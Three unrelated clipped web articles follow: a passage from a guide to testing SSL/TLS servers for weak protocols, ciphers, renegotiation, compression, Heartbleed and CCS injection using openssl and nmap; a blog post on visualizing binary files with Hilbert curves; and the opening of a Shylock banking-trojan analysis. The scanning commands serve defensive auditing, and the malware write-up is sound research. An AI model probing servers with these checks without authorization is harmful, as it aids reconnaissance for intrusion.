        Master-Key: D2AAB3751263EB53BAD83453D26A09DA1F700059FD16B510
        Key-Arg   : DB92A6A80BF4CA4A
        Start Time: 1390178607
        Timeout   : 300 (sec)
        Verify return code: 18 (self signed certificate)
    
    
[/code]

If the server does not support SSLv2 the response will be a handshake failure
error similar to the following:

[code]

    CONNECTED(00000003)
    458:error:1407F0E5:SSL routines:SSL2_WRITE:ssl handshake failure:s2_pkt.c:428:
[/code]

## SSLv3 Support

Despite some issues, SSLv3 was considered secure \(at least when configured
correctly\) until last year when the Google Security Team introduced their
Padding Oracle On Downgraded Legacy Encryption \(POODLE\) attack. POODLE
demonstrated that, under certain conditions, it is possible to conduct a
"padding oracle" attack against ciphers using cipher-block chaining \(CBC\)
mode. This may allow decryption of communications and disclosure of session
cookies. As the only non-CBC cipher supported in SSLv3, RC4, is also known to
be cryptographically weak, the conclusion is that SSLv3 should not be used for
communications. The Google Security Team further showed that an attacker can
force the client and server to downgrade to SSLv3 even if they would normally
use TLS, meaning that it is important to ensure that SSLv3 is disabled
completely.

To test whether a system supports SSLv3, the following OpenSSL command can be
used:

[/code]

[code]

openssl s\_client -ssl3 -connect google.com:443

CONNECTED\(00000003\) depth=2 /C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
verify error:num=20:unable to get local issuer certificate verify return:0
\--- Certificate chain

_\--- Certificate details removed for brevity ---_ \--- New, TLSv1/SSLv3,
Cipher is RC4-SHA Server public key is 2048 bit Secure Renegotiation IS
supported Compression: NONE Expansion: NONE SSL-Session: Protocol : SSLv3
Cipher : RC4-SHA Session-ID:
6E461AEAD8C1516F9D8950A9B5E735F9882BFC6EA0838D81CFD41C01A3799A41 Session-ID-
ctx: Master-Key:
7E7680640BB7E2C83CBE87342727E0D09AC10EEEB095A8C0A2501EAE80FA1C20D3F3FE4346B1234057D6D506420273FA
Key-Arg : None Start Time: 1421296281 Timeout : 7200 \(sec\) Verify return
code: 0 \(ok\) \---

A handshake failure error would indicate that SSLv3 is not supported and the
server is not vulnerable to POODLE.

## Cipher Suites

One of the main functions of the SSL/TLS protocols is to allow the client and
server to negotiate a mutually acceptable "cipher suite" to use for the
connection. The cipher suite chosen specifies a set of algorithms which the
client and server will use to perform key exchange, encryption, and message
authentication.

A cipher suite is typically described in a format similar to this:

TLS\_RSA\_WITH\_AES\_128\_CBC\_SHA

where RSA is the key exchange algorithm, AES\_128\_CBC is the encryption
cipher \(AES using a 128-bit key operating in Cipher-Block Chaining mode\),
and SHA is the Message Authentication Code \(MAC\) algorithm.

The cipher suites a server is configured to support should be dictated by its
security requirements. The following guidelines are generally recommended as a
baseline:

  * The key exchange algorithm should be restricted to those which provide "perfect forward secrecy", such as Ephemeral Diffie-Hellman \(DHE\) or Ephemeral Elliptic Curve Diffie-Hellman \(ECDHE\).
  * The cipher should not suffer from known cryptanalytic flaws. This rules out RC4 which has been known to have flaws for many years and in the past few years has been shown to be significantly weaker than originally thought. 
  * The cipher should use at least a 128 bit key \(which rules out DES and Triple-DES\). 
  * Cipher-Block Chaining \(CBC\) mode is prone to padding oracle attacks and should ideally be avoided altogether, but specifically it should not be used in conjunction with SSLv3 or TLSv1.0 as this can lead to vulnerability to the BEAST attack. An alternative is Galois Counter Mode \(GCM\) which is not affected by these problems and offers authenticated encryption.
  * The message authentication algorithm should ideally be SHA256. MD5 is known to be cryptographically weak and should be avoided, and SHA1 \(just denoted SHA in the cipher suite specifications\) has its own weaknesses which place attacks within the realm of possibility. 
  * For all three algorithms, the NULL / anon setting should be avoided as these provide no security at all. "Export" algorithms should also be disabled as their short key lengths make them susceptible to brute-force attacks and other attacks such as the FREAK attack.

Nmap's "ssl-enum-ciphers" script can be used to produce a list of the
supported cipher suites in the following way:

[code]

    nmap --script ssl-enum-ciphers -p 443 example.com
[/code]

Example

[code]

    nmap --script ssl-enum-ciphers -p 443 10.0.0.1
    
    Nmap scan report for 10.0.0.1
    PORT    STATE SERVICE REASON
    443/tcp open  https   syn-ack
    | ssl-enum-ciphers:
    |   SSLv3
    |     Ciphers (6)
    |       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - unknown strength
    |       TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA - weak
    |       TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 - broken
    |       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
    |       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - unknown strength
    |       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
    |       TLS_RSA_WITH_AES_128_CBC_SHA - strong
    |       TLS_RSA_WITH_AES_256_CBC_SHA - unknown strength
    |     Compressors (1)
    |       uncompressed
    |   TLSv1.0
    |     Ciphers (6)
    |       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - unknown strength
    |       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
    |       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - unknown strength
    |       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
    |       TLS_RSA_WITH_AES_128_CBC_SHA - strong
    |       TLS_RSA_WITH_AES_256_CBC_SHA - unknown strength
    |     Compressors (1)
    |       uncompressed
    |_ 
    
[/code]

While nmap will give a strength rating for each supported cipher suite, the
fast pace of change SSL/TLS security means that these ratings should be
manually reviewed.

## SSL Certificates

SSL/TLS supports the use of authentication via X.509 certificates, which are
often termed "SSL certificates" when used in this context. Server certificates
enable the client to verify that it is connecting to the correct host. Though
not usually used for HTTPS, SSL/TLS can also support mutual authentication in
which the client proves its own identity through the provision of its own
certificate.

Some of the main security properties which should be considered when setting
up a certificate, include:

  * "Not Before" \- This gives the start date of the certificate and should be a date in the past.
  * "Not After" \- This gives the expiry date of the certificate after which is should not be trusted. It is therefore important to ensure that this is a date in the future. As the expiry date approaches, a new certificate should be issued to replace it.
  * "Signature Algorithm" \- This is the algorithm used to ensure the certificate's integrity. MD5 has been shown to be inadequate for this, with collision attacks allowing fake, but valid, certificates to be generated. SHA1 is in the process of being phased out due to known weaknesses, with SHA2 hash functions being the preferred alternative.
  * "Public-Key" \- The public key should be long enough to ensure that attacks are computationally infeasible. In the case of RSA, 2048 bit public keys are now considered a sensible minimum to protect against factoring attacks. 
  * "Issuer" \- This is the entity which has issued the certificate and should be a trusted party recognised by both the client and server. The issuer is typically a third-party certificate authority \(such as DigiCert in the example above\), though larger organisations often operate their own certificate authority to sign certificates for internal use. While it is possible to generate so-called "self-signed" certificates, these prevent the client from authenticating the server and open up the possibility of man-in-the-middle attacks in which an attacker dupes the client and/or server into communicating with the attacker rather than each other.
  * "Subject" and "Subject Alternative Name" \- These should contain the DNS information necessary to tie the IP of the server running the SSL/TLS service. If these values are not valid domain names \(or wildcard domains\), then the client will be unable to determine whether or not the certificate is associated with the server in question and cannot therefore use it to authenticate the server.

To view the details of a server's certificate, the following command can be
used:

[code]

    openssl s_client -connect example.com:443 | openssl x509 -noout -text
[/code]

This will produce output similar to the following \(here PayPal's certificate
is shown\):

[code]

    Certificate:  
        Data:  
            Version: 3 (0x2)  
            Serial Number:  
                0e:65:41:91:6c:e8:cf:b2:9b:7b:52:71:01:05:ba:c4  
        Signature Algorithm: sha256WithRSAEncryption  
            Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA  
            Validity  
                Not Before: Dec 12 00:00:00 2014 GMT  
                Not After : Dec 16 12:00:00 2016 GMT  
            Subject: C=US, ST=California, L=San Jose, O=PayPal, Inc., OU=PayPal Production, CN=paypal.com  
            Subject Public Key Info:  
                Public Key Algorithm: rsaEncryption  
                    Public-Key: (2048 bit)  
                    Modulus:  
                        00:d5:c8:b2:65:07:ff:fb:71:0a:cf:a8:77:97:fc:  
                        e1:a4:87:5d:79:29:03:e0:1a:5f:c2:f8:71:c9:ac:  
                        bc:d3:16:e0:9c:2e:bb:d9:1c:5b:cc:90:7d:e3:54:  
                        ab:53:79:50:37:63:b1:cb:68:56:ee:6a:5b:d2:10:  
                        38:1a:35:f7:37:12:83:d9:72:51:9e:b7:f9:9c:1d:  
                        b8:a9:e6:f3:27:bb:5b:8b:b9:be:fa:39:19:83:d9:  
                        cd:66:69:1d:cc:8a:cb:59:b5:53:3e:ca:41:f6:ac:  
                        89:4d:58:06:04:a5:e2:c9:94:05:26:6c:24:a6:81:  
                        ca:4a:01:11:4c:a2:8d:83:7a:9a:2a:7d:16:93:ca:  
                        a0:df:59:b8:e1:38:18:b2:bd:eb:77:6b:57:fb:7f:  
                        d6:70:e1:2d:70:dd:cc:af:43:f0:de:a0:fc:2f:8e:  
                        94:74:3c:4f:ae:ca:f6:f2:ab:09:7f:63:71:b6:27:  
                        78:4d:f8:e1:e0:86:3a:81:9f:d4:55:45:27:ff:4d:  
                        53:2f:99:43:28:ad:fa:c9:63:6f:64:28:36:d7:ea:  
                        c3:00:50:88:86:a3:d0:83:ae:be:99:18:25:b2:44:  
                        05:c6:e8:36:4a:fb:4d:ab:df:6d:0f:50:3f:80:fc:  
                        38:ba:4c:53:c1:6d:48:22:68:7a:ed:6e:05:e4:9d:  
                        58:ef  
                    Exponent: 65537 (0x10001)  
            X509v3 extensions:  
                X509v3 Authority Key Identifier:  
                    keyid:51:68:FF:90:AF:02:07:75:3C:CC:D9:65:64:62:A2:12:B8:59:72:3B
[/code]

X509v3 Subject Key Identifier:  
1F:54:C7:2D:0E:D3:6C:C4:63:FE:66:1C:EA:8C:50:75:3A:01:8F:DE  
X509v3 Subject Alternative Name:  
DNS:paypal.com, DNS:www.paypal.com  
X509v3 Key Usage: critical  
Digital Signature, Key Encipherment  
X509v3 Extended Key Usage:  
TLS Web Server Authentication, TLS Web Client Authentication  
X509v3 CRL Distribution Points:

Full Name:  
URI:http://crl3.digicert.com/sha2-ha-server-g3.crl

Full Name:  
URI:http://crl4.digicert.com/sha2-ha-server-g3.crl

X509v3 Certificate Policies:  
Policy: 2.16.840.1.114412.1.1  
CPS: https://www.digicert.com/CPS

Authority Information Access:  
OCSP - URI:http://ocsp.digicert.com  
CA Issuers -
URI:http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt

X509v3 Basic Constraints: critical  
CA:FALSE  
Signature Algorithm: sha256WithRSAEncryption  
3d:79:69:48:5d:f6:bc:4b:5f:81:f3:97:9d:61:e5:9c:46:b9:  
73:00:66:09:f1:8a:06:89:14:a3:25:ea:ba:a2:5d:ac:77:3a:  
8f:6a:8a:11:9b:c3:35:67:99:9f:9d:c2:c0:ac:9f:eb:24:58:  
c8:4a:be:07:31:30:8c:69:07:bc:ff:c0:5a:d1:17:c6:05:f7:  
75:ca:fe:cd:98:78:43:41:ac:14:75:f7:c9:10:f4:07:38:58:  
73:6a:84:58:1f:a9:31:7d:28:47:70:98:de:3f:d7:00:82:a6:  
5c:2e:5d:31:96:4a:06:82:a2:a0:02:95:fd:6f:ef:66:4a:57:  
50:c3:1a:84:48:26:47:73:6e:c8:d7:30:fb:75:11:d6:ee:67:  
7e:d4:15:b2:44:15:ef:ee:ab:ba:81:c2:f5:05:04:d1:f3:70:  
bb:96:41:03:eb:d1:e0:e4:3d:57:41:8d:3d:7a:df:f0:c1:68:  
6f:43:68:e1:8d:1e:19:7e:57:aa:49:43:28:2a:f1:8c:f7:0d:  
a4:6a:8c:18:75:6b:a4:cc:a7:2f:e5:21:d1:81:8c:d4:bc:f4:  
00:4c:f6:37:03:a3:61:33:b2:ea:15:34:48:53:83:48:57:6c:  
33:f2:b7:fb:f3:fc:ea:df:0d:d0:e2:49:01:b4:23:c9:3d:7a:  
f4:42:4f:98

## Renegotiation

The SSL/TLS protocols allow the client and server to renegotiate new
encryption keys during a session. A vulnerability was discovered in 2009
whereby an attacker could exploit a flaw in the renegotiation process and
inject content into the start of the session, compromising the integrity of
the session.

This is only possible if two conditions are met, namely that the server _does
not_ support secure renegotiation but _does_ honour client-initiated
renegotiations. These conditions can be checked for as described below:

### Secure Renegotiation

The following demonstrates how to verify if a system supports secure
renegotiation.

[code]

    openssl s_client -connect example.com:443
[/code]

A system that does not support secure renegotiation will return the following
when a connection is established.

[code]

    CONNECTED(00000003)
    139677333890704:error:1407F0E5:SSL routines:SSL2_WRITE:ssl handshake failure:s2_pkt.c:429:
    ---
    no peer certificate available
    ---
    No client certificate CA names sent
    ---
    SSL handshake has read 0 bytes and written 36 bytes
    ---
    New, (NONE), Cipher is (NONE)
    **Secure Renegotiation IS NOT supported**
    Compression: NONE
    Expansion: NONE
    SSL-Session:
        Protocol  : SSLv2
        Cipher    : 0000
        Session-ID: 
        Session-ID-ctx: 
        Master-Key: 
        Key-Arg   : None
        PSK identity: None
        PSK identity hint: None
        SRP username: None
        Start Time: 1428910482
        Timeout   : 300 (sec)
        Verify return code: 0 (ok)
    ---
    
[/code]

### Client Initiated Renegotiation

The following demonstrates how to check if client initiated renegotiation is
supported.

[code]

    openssl s_client -connect example.com:443
[/code]

Once the connection is established, the server will wait for us to type the
next command. We can write the following two lines in order to initiate a
renegotiation by specifying R in the second line, followed by enter or return.

[code]

    openssl s_client -connect host:port
    HEAD / HTTP/1.0
    R
    <Enter or Return key>
    
[/code]

A system that does not support client initiated renegotiation will return an
error and end the connection, or the connection will time out.

[code]

    RENEGOTIATING
    write:errno=104
    
[/code]

A system that supports client initiated renegotiation will keep the connection
active, and respond to further commands.

## Compression

The use of compression has been linked to two side channel attacks: CRIME and
BREACH.

### CRIME

The Compression Ratio Info-leak Made Easy \(CRIME\) attack is a side-channel
attack against TLS compression. To carry out the attack, the attacker needs to
exert partial control over the content of requests made by the client \(e.g.
by using a Cross-Site Scripting vulnerability to force the user's browser to
issue requests\). The attacker can then observe the compressed size of these
requests on the network and from that infer the contents of the remainder of
the request \(e.g. session cookies\) based on the level of compression
achieved.

To test whether a server supports TLS compression, and is vulnerable to CRIME,
the following method can be used:

[code]

    openssl s_client -connect example.com:443
[/code]

On the servers supporting compression, a response similar to the one below
will be received, containing details about the compression. The lines
"Compression: zlib compression" and "Compression: 1 \(zlib compression\)"
indicate that the remote server is vulnerable to the CRIME attack.

[code]

    ---
    New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
    Server public key is 2048 bit
    Secure Renegotiation IS supported
    **Compression: zlib compression**
    Expansion: zlib compression
    SSL-Session:
        Protocol  : TLSv1.1
        Cipher    : DHE-RSA-AES256-SHA
        Session-ID: 50791A02E03E42F8983344B25C8ED4598620518D5C917A3388239AAACE991858
        Session-ID-ctx: 
        Master-Key: 9FEDB91F439775B49A5C49342FF53C3DD7384E4AFC33F9C6AFB64EA3D639CA57253AD7D059BA54E01581AD3A73306342
        Key-Arg   : None
        PSK identity: None
        PSK identity hint: None
        SRP username: None
        TLS session ticket lifetime hint: 300 (seconds)
        TLS session ticket:
        0000 - 34 38 24 70 35 88 4a 68-0c 80 e6 c5 76 a1 0e ee   48$p5.Jh....v...
        0010 - 14 2e fb ef fa 42 f0 c1-58 ee 70 02 90 45 f4 8c   .....B..X.p..E..
        0020 - 7d 0b 2e 1e 71 70 b0 a2-cc 27 1b 13 29 cc f5 ee   }...qp...'..)...
        0030 - 84 43 98 fa b1 ae 83 dc-ff 6d aa 07 9f 7a 95 4f   .C.......m...z.O
        0040 - 44 68 63 21 72 d7 b9 18-97 d8 8e d7 61 7d 71 6f   Dhc!r.......a}qo
        0050 - a7 16 85 79 f9 a2 80 2a-b4 bc f9 47 78 6a b7 08   ...y...*...Gxj..
        0060 - f6 4f 09 96 7b e8 d4 9b-26 2d 1a fd 55 fe 6a ab   .O..{...&-..U.j.
        0070 - fc 8d 6d 87 7a 13 e1 a9-0a 05 09 d9 ce ea fe 70   ..m.z..........p
        0080 - 09 c9 5f 33 3c 5f 28 4e-20 3b 3a 10 75 c4 86 45   .._3<_(N ;:.u..E
        0090 - 1d 8b c8 a5 21 89 a1 12-59 b6 0f 55 e3 48 8f 91   ....!...Y..U.H..
        00a0 - 01 af 53 b6                                       ..S.
    
        **Compression: 1 (zlib compression)**
        Start Time: 1348073759
        Timeout   : 300 (sec)
        Verify return code: 20 (unable to get local issuer certificate)
    ---
    
[/code]

For servers that have TLS compression disabled, the response will be similar
to the following. The "Compression: NONE" shows that this server rejects usage
of TLS-level compression.

[code]

    ---
    New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256
    Server public key is 2048 bit
    Secure Renegotiation IS supported
    **Compression: NONE**
    Expansion: NONE
    SSL-Session:
        Protocol  : TLSv1.2
        Cipher    : ECDHE-RSA-AES128-GCM-SHA256
        Session-ID: 7E49EA6457B200B441A26C05F1AE9634AAF97284AC7A12EC58F69CEF5470B052
        Session-ID-ctx: 
        Master-Key: E035F082F5545424373A546A1F76D77673E8AEE018B3F0A3AFD7A3545746013664C18E6BB69F08BFAECA6C7FB3010C9C
        Key-Arg   : None
        PSK identity: None
        PSK identity hint: None
        SRP username: None
        TLS session ticket lifetime hint: 100800 (seconds)
        TLS session ticket:
        0000 - 66 72 6f 6e 74 70 61 67-65 61 61 61 61 61 61 61   frontpageaaaaaaa
        0010 - 89 55 c6 6a 92 c3 28 85-86 b0 ff c3 08 12 5a a8   .U.j..(.......Z.
        0020 - f2 ec f8 56 6d d3 29 99-7b 98 90 ef 57 fd c6 15   ...Vm.).{...W...
        0030 - ee a2 53 4b 43 ef 19 ee-41 25 1f 76 28 37 68 b6   ..SKC...A%.v(7h.
        0040 - 64 ca e7 3f 71 01 70 30-35 91 ef bc d8 19 20 4f   d..?q.p05..... O
        0050 - 9d 9e 2c ab 3f 35 5c 3f-65 f8 c6 9a a9 90 fa 60   ..,.?5\?e......`
        0060 - 4d 53 a1 b8 49 8c e7 61-e4 6c e1 51 8e 83 b5 25   MS..I..a.l.Q...%
        0070 - bc 9a 32 d8 fa be 16 a1-ae 3d 8c 0b e3 9e e4 78   ..2......=.....x
        0080 - 77 d7 91 6b a9 a0 01 2b-e1 98 33 d4 2c eb b3 84   w..k...+..3.,...
        0090 - f9 da 0f fa 77 df ac d6-08 b6 34 97 07 d9 b2 58   ....w.....4....X
    
        Start Time: 1428988675
        Timeout   : 300 (sec)
        Verify return code: 20 (unable to get local issuer certificate)
    ---
    
[/code]

### BREACH

The BREACH attack is analogous to the CRIME attack, but this time exploits the
use of HTTP compression to again infer the contents of attacker-influenced
requests.

To test whether a server supports deflate or compression, the following steps
can be performed:

[code]

    openssl s_client -connect example.com:443
[/code]

Submitting the following will allow us to see if HTTP compression is supported
by the server.

[code]

    GET / HTTP/1.1
    Host: example.com
    Accept-Encoding: compress, gzip
    
[/code]

If the response contains encoded data, similar to the following response, it
indicates that HTTP compression is supported; therefore the remote host is
vulnerable.

[code]

    HTTP/1.1 200 OK
    Server: nginx/1.1.19
    Date: Sun, 19 Mar 2015 20:48:31 GMT
    Content-Type: text/html
    Last-Modified: Thu, 19 Mar 2015 23:34:28 GMT
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
     
    ¬ =�A
    �0
       �}E�� �/�փg�
    �� oP��
    ��u4��22��,f&4Y��Į9 .�R�oKc�]�`|�o�r
    0
    
[/code]

A system which does not support deflate or compression will ignore the
compress header request and respond with uncompressed data, indicating that it
is not vulnerable.

## Implementation Issues

SSL/TLS is only as secure as its implementation and a number of flaws have
surfaced in TLS software in recent years. This has included TLS \(not SSLv3\)
implementations which are vulnerable to POODLE, and timing attacks such as the
Lucky-13 attack. We highlight two notable implementation vulnerabilities here,
but more important than their details is the message that keeping SSL/TLS
software patched and up-to-date is an essential piece of the security puzzle.

### Heartbleed

The Heartbleed bug is a result of a weakness in OpenSSL. It can be exploited
to retrieve memory contents of a server/host running a vulnerable version of
OpenSSL.

The following versions of OpenSSL are vulnerable:

• OpenSSL 1.0.1 through 1.0.1f \(inclusive\)

The following versions of OpenSSL are not vulnerable:

• OpenSSL 1.0.1g

• OpenSSL 1.0.0 branch

• OpenSSL 0.9.8 branch

There are many scripts publicly available that can be used to test whether a
system is affected by this vulnerability.

Servers accessible from the internet can be tested using the Heartbleed test
websites like https://filippo.io/Heartbleed/, which is run by Filippo
Valsorda.

Alternatively, Nmap \(v6.46 and above\) can be used to test this bug by using
the ‘ssl-heartbleed.nse’ script.

[code]

    nmap -p 443 --script ssl-heartbleed --script-args vulns.showall example.com
[/code]

The output will be similar to the following:

[code]

    PORT    STATE SERVICE
    443/tcp open  https
    | **ssl-heartbleed** :
    |   **VULNERABLE** :
    |   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
    |     **State: VULNERABLE**
    |     Risk factor: High
    |     Description:
    |       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
    |
    |     References:
    |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
    |       http://www.openssl.org/news/secadv_20140407.txt
    |_      http://cvedetails.com/cve/2014-0160/
    
[/code]

### Change Cipher Spec Injection

A weakness exists in some versions of OpenSSL which can be exploited by
intermediary third parties in order to retrieve sensitive information from
encrypted communication.

Affected Versions:

• OpenSSL 1.0.1 through 1.0.1g

• OpenSSL 1.0.0 through 1.0.0l

• all versions before OpenSSL 0.9.8y

Testing requires using publicly available tools, such as the the ‘ssl-ccs-
injection’ nmap script by Claudiu Perta, which can be used to test for this
vulnerability. This script can be downloaded from
https://nmap.org/nsedoc/scripts/ssl-ccs-injection.html.

[code]

    nmap -p 443 --script ssl-ccs-injection example.com
[/code]

Sample Output

[code]

    PORT    STATE SERVICE
    443/tcp open  https
    | ssl-ccs-injection:
    |   VULNERABLE:
    |   SSL/TLS MITM vulnerability (CCS Injection)
    |     State: VULNERABLE
    |     Risk factor: High
    |     Description:
    |       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
    |       1.0.1h does not properly restrict processing of ChangeCipherSpec
    |       messages, which allows man-in-the-middle attackers to trigger use
    |       of a zero-length master key in certain OpenSSL-to-OpenSSL
    |       communications, and consequently hijack sessions or obtain
    |       sensitive information, via a crafted TLS handshake, aka the
    |       "CCS Injection" vulnerability.
    |
    |     References:
    |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
    |       http://www.cvedetails.com/cve/2014-0224
    |_      http://www.openssl.org/news/secadv_20140605.txt
    
[/code]

## Conclusion

This post has presented some of the common attacks and misconfigurations which
can undermine the security of SSL/TLS connections. Addressing these should be
considered a minimum for anyone configuring SSL/TLS. It should be noted that
other attacks exist which are not covered here, which may require additional
work to adequately defend against. Furthermore, a secure SSL/TLS configuration
is a moving target and additional or better attacks may be discovered in the
future.

## Follow Up and Contact

Jay and Dan are a part of our Assurance team based in our Melbourne office.

# cortesi - Visualizing binaries with space-filling curves

**Created:**| _12/5/2012 5:51:44 PM_  
---|---  
**Updated:**| _12/5/2012 5:51:44 PM_  
**Author:**| __  
**Tags:**| _reversing visualization_  
  

# Visualizing binaries with space-filling curves

23 December 2011

In my day job I often come across binary files with unknown content. I have a
set of standard avenues of attack when I confront such a beast - use "file" to
see if it's a known file type, "strings" to see if there's readable text, run
some in-house code to extract compressed sections, and, of course, fire up a
hex editor to take a direct look. There's something missing in that list,
though - I have no way to get a quick view of the overall structure of the
file. Using a hex editor for this is not much chop - if the first section of
the file looks random \(i.e. probably compressed or encrypted\), who's to say
that there isn't a chunk of non-random information a meg further down?
Ideally, we want to do this type of broad pattern-finding by eye, so a
visualization seems to be in order.

First, lets begin by picking a colour scheme. We have 256 different byte
values, but for a first-pass look at a file, we can compress that down into a
few common classes:

| Printable characters  
---|---  
| Everything else  
This covers the most common padding bytes, nicely highlights strings, and
lumps everything else into a miscellaneous bucket. The broad outline of what
we need to do next is clear - we sample the file at regular intervals,
translate each sampled byte to a colour, and write the corresponding pixel to
our image. This brings us to the big question - what's the best way to arrange
the pixels? A first stab might be to lay the pixels out row by row, snaking to
and fro to make sure each pixel is always adjacent to its predecessor. It
turns out, however, that this zig-zag pattern is not very satisfying - small
scale features \(i.e. features that take up only a few lines\) tend to get
lost. What we want is a layout that maps our one-dimensional sequence of
samples onto the 2-d image, while keeping elements that are close together in
one dimension as near as possible to each other in two dimensions. This is
called "locality preservation", and the space-filling curves are a family of
mathematical constructs that have precisely this property. If you're a regular
reader of this blog, you may know that I have an almost unseemly fondness for
these critters. So, lets add a couple of space-filling curves to the mix to
see how they stack up. The Z-Order curve has found wide practical use in
computer science. It's not the best in terms of locality preservation, but
it's easy and quick to compute. The Hilbert curve, on the other hand, is
\(nearly\) as good as it gets at locality preservation, but is much more
complicated to generate. Here's what our three candidate curves look like - in
each case, the traversal starts in the top-left corner:

Zigzag| Z-order| Hilbert  
---|---|---  
<img src='img/Temp2_10150.png' />| <img src='img/Temp2_10152.png' />| <img
src='img/Temp2_10149.png' />  
And here they are, visualizing the ksh \(Mach-O, dual-architecture\) binary
distributed with OSX - click for the significantly more spectacular larger
versions of the images:

Zigzag| Z-order| Hilbert  
---|---|---  
<img src='img/Temp2_10153.png' /> |  <img src='img/Temp2_10148.png' /> |  <img src='img/Temp2_10151.png' />  
The classical Hilbert and Z-Order curves are actually square, so for these
visualizations I've unrolled them, stacking four sub-curves on top of each
other. To my eye, the Hilbert curve is the clear winner here. Local features
are prominent because they are nicely clumped together. The Z-order curve
shows some annoying artifacts with contiguous chunks of data sometimes split
between two or more visual blocks.

The downside of the space-filling curve visualizations is that we can't look
at a feature in the image and tell where, exactly, it can be found in the
file. I'm toying with the idea \(though not very seriously\) of writing an
interactive binary file viewer with a space-filling curve navigation pane.
This would let the user click on or hover over a patch of structure and see
the file offset and the corresponding hex.

# More detail

We can get more detail in these images by increasing the granularity of the
colour mapping. One way to do this is to use a trick I first concocted to
visualize the Hilbert Curve at scale. The basic idea is to use a 3-d Hilbert
curve traversal of the RGB colour cube to create a palette of colours. This
makes use of the locality-preserving properties of the Hilbert curve to make
sure that similar elements have similar colours in the visualization. See the
original post for more.

So, here's a Hilbert curve mapping of a binary file, using a Hilbert-order
traversal of the RGB cube as a colour palette. Again, click on the image for
the much nicer large scale version:

<img src='img/Temp2_10154.png' />

This shows significantly more fine-grained structure, which might be good for
a deep dive into a binary. On the other hand, the colours don't map cleanly to
distinct byte classes, so the image is harder to interpret. An ideal hex
viewer would let you flick between the two palettes for navigation.

# The code

As usual, I'm publishing the code for generating all of the images in this
post. The binary visualizations were created with binvis, which is a new
addition to scurve, my space-filling curve project. The curve diagrams were
made with the "drawcurve" utility to be found in the same place.

# Walking Toe to Toe With Shylock « P4r4n0id Reversing Lab

**Created:**| _12/11/2011 11:11:23 AM_  
---|---  
**Updated:**| _12/11/2011 12:17:35 PM_  
**Author:**| __  
**Tags:**| _windows security Malware-analysis_  
  

## Walking Toe to Toe With Shylock

by Master on Dec.09, 2011, under Malware, Reversing

**Contents**

1. Walking Toe to Toe With Shylock
  1. Introduction
  2. Tools
  3. Links to other excellent analyses of shylock

2. Unpacking the Sample
  1. Sample Generic Overview
  2. Unpacking – step by step

  1. VirtualAlloc / Memory Copying – \#1
  2. VirtualAlloc / Memory Copying – \#2
  3. Decryption Routine
  4. VirtualAlloc / Memory Copying – \#3
  5. Process Image – Erasing Routine
  6. Rebuilding the Process Image – Copying the PE header
  7. Rebuilding the Process Image – Copying the Sections
  8. Rebuilding the Process Image – IAT Rebuild – LoadLibrary / GetProcAddress Combination
  9. Rebuilding the Process Image – VirtualProtect the Sections
  10. The CleanUP

3\. The OEP  
4. Dump & Fix
  1. ImpREC – Fixing the Dump

5. OEP – Core Infection 
  1. The Decryption Routine
  2. GetModuleHandleA  / GetProcAddress  

  3. Unique ID Generation
  4. Mutex Creation
  5. File System Changes – APPDATA folder
  6. Surviving Reboot
  7. Creating the .bat File
  8. cmd.exe Process
  9. explorer.exe – Process Injection

  1. Step \#1: Retrieve a HANDLE to the remote process \(OpenProcess\):
  2. Step \#2: Allocate memory in the remote process’s address space for injected data \(VirtualAllocEx\).
  3. Step \#3: Write a copy of the initialised INJDATA structure to the allocated memory \(WriteProcessMemory\).
  4. Step \#4: Start the remote copy of ThreadFunc via CreateRemoteThread.
  5. Step \#5: Wait until the remote thread terminates \(WaitForSingleObject\).
  6. Step \#6: Retrieve the result from the remote process \(ReadProcessMemory or GetExitCodeThread\).
  7. Step \#7 and \#8 – The clean Up

6. Conclusion
7. Final Notes 
**1 Walking Toe to Toe With Shylock  **

**1.1 Introduction**

Shylock is a new Trojan discovered by trusteer around 2 months ago. It is
designed to be a Trojan Spy and specifically a Banker. Targets the windows
platform, collects various system information from the infected system and
send it to a remote C&C server, able to perform Man in the Browser attacks
\(IE and FF\) against users of UK banks.

**1.2 Tools**

  *  IDA
  * ImmunityDebugger
  * CFF Explorer
  * ImpREC

**1.3 Links to other excellent analyses of shylock**

1.3.1 **Evilcry** – Shylock via Volatility  
1.3.2 **Mila** – Greedy Shylock – financial malware  
1.3.3 **Malwarereversing** – shylock-in-depth-malware-analysis

**2\. Unpacking the Sample**

**2.1 Sample Generic Overview**

  * **File Size** : 363.09 KB \(371800 bytes\)
  * **MD5** : 4FDA5E7E8E682870E993F97AD26BA6B2
  * **SHA-1** : D1B17C351BAFC899BA14C84E09B5CC258A2195BF
  * **Packer** : Unknown \(PEID\)

<img src='img/Temp2_9335.jpg' width='151' height='88' />

  * **Company Name** : He is ready at the door
  * **File Description** : So keen and greedy to confound a man

<img src='img/Temp2_9278.jpg' width='169' height='61' />

  * **Signature** :

<img src='img/Temp2_9327.jpg' width='265' height='118' />

**2.2 Unpacking – step by step**

As we’ve  seen from the previous paragraph the binary is packed with an
unknown packer so we have to start analyzing it from the top.

